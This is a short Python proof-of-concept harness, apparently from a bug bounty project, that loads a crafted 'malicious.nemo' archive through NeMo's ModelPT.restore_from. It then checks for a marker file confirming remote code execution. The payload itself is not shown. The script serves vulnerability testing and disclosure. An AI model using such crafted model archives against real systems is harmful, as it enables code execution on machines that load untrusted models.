e2e_restore.py

import sys, os
REPO = "/Users/hackthesoul/bugbounty_results/nemo/repo"
HERE = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, REPO); sys.path.insert(0, HERE)
import stub_shim  # nv_one_logger only

from nemo.core.classes.modelPT import ModelPT
print("=== calling ModelPT.restore_from('malicious.nemo') ===")
try:
    ModelPT.restore_from(os.path.join(HERE, "malicious.nemo"))
except Exception as e:
    print("restore_from raised:", type(e).__name__, str(e)[:400])

print("--- /tmp/NEMO_RCE_PWNED.txt exists?", os.path.exists("/tmp/NEMO_RCE_PWNED.txt"))
if os.path.exists("/tmp/NEMO_RCE_PWNED.txt"):
    print(open("/tmp/NEMO_RCE_PWNED.txt").read())